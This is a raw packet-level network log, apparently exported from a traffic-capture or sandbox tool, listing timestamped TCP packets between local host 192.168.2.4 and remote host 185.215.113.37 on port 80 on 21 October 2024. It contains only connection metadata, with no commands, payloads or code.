Oct 21, 2024 09:06:11.713788986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.713823080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.713849068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.714472055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.714504957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.714540958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.714560986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.715122938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.715154886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.715186119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.715205908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.715228081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.715293884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.715802908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.715850115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.715871096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.715895891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.716432095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.716487885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.716501951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.716531992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.742579937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.742753983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.742805004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.742834091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.742877960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.742898941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.743216038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.743247986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.743273973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.743298054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.743982077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.744046926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.784181118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.784276009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.784405947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.784440041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.784470081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.784501076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.788691044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.788749933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.788908958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.788966894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.788980961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.789030075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.789597034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.789630890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.789658070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.789680004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.812494993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.812567949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.812623978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.812655926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.812680006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.812701941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.827909946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.828056097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.828121901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.828175068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.828200102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.828263998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.828810930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.828871965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.829152107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.829219103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.829478025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.829509974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.829533100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.829560041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.830281019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.830315113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.830344915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.830363989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.831099033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.831132889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.831172943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.831193924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.831923008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.831957102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.831979036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.832005024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.832722902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.832756042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.832787991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.832808018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.832827091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.832881927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.833550930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.833585024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.833607912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.833635092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.834363937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.834397078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.834429026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.834448099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.834469080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.834486961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.835184097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.835218906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.835241079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.835263968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.835855961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.835887909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.835911989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.835941076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.835963964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.836024046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.836798906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.836831093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.836849928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.836875916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.836901903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.836934090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.836963892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.836982012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.863028049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.863096952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.863311052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.863343954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.863368034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.863401890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.863877058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.863909960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.863933086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.863961935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.904429913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.904576063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.904633045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.904664993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.904692888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.904710054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.908930063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.908994913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.909135103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.909192085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.909207106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.909251928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.909749985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.909812927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.909931898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.909992933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.910235882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.910300016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.932651997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.932774067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.932838917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.932871103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.932893991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.932923079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.948061943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.948177099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.948349953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.948385954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.948405981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.948441029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.948878050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.948909998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.948932886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.948960066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.949460030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.949491978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.949517012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.949537039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.950144053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.950175047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.950198889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.950222969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.950839043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.950870991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.950894117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.950917006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.951581955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.951615095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.951638937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.951657057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.952367067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.952399969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.952420950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.952449083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.952471972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.952537060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.953047037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.953079939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.953103065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.953125954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.953783035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.953815937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.953845024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.953864098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.953886986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.953953981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.954513073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.954546928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.954569101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.954591036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.955126047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.955158949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.955185890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.955204964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.955231905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.955285072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.955984116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.956017971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.956041098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.956063032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.956090927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.956125021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.956144094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.956176996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.956845045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.956878901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.956902027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.956935883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.983196020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.983345032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.983378887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.983541012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.983541012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.983541012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.983949900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.983983994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:11.984018087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:11.984042883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.024645090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.024807930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.024830103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.024861097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.024910927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.024930954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.029134989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.029258013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.029315948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.029367924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.029386044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.029437065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.029846907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.029902935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.052824974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.052949905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.053215981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.053247929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.053359032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.053359032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.068258047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.068438053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.068460941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.068500996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.068515062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.068561077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.069047928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.069080114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.069130898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.069159031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.069539070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.069570065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.069591045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.069618940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.070163965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.070195913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.070215940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.070239067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.070266962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.070331097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.071145058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.071177006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.071197033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.071230888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.071247101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.071300030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.072139025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.072171926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.072191000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.072218895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.072241068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.072274923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.072294950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.072318077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.073100090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.073132992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.073152065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.073180914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.073204994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.073256969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.074084997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.074117899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.074140072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.074165106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.074192047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.074223995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.074244022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.074274063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.075058937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.075093985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.075114012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.075145960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.075166941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.075218916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.076052904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.076086044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.076111078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.076132059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.076159000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.076208115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.076832056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.076864958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.076900005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.076916933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.076946974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.076977968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.076998949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.077025890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.103508949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.103570938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.103661060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.103693962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.103715897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.103744030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.104233027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.104268074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.104288101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.104322910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.144922018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.144979954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.145128965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.145143986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.145204067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.145255089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.149271011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.149343014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.149450064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.149465084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:12.149502039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:12.149517059 CEST	49730	80	192.168.2.4	185.215.113.37
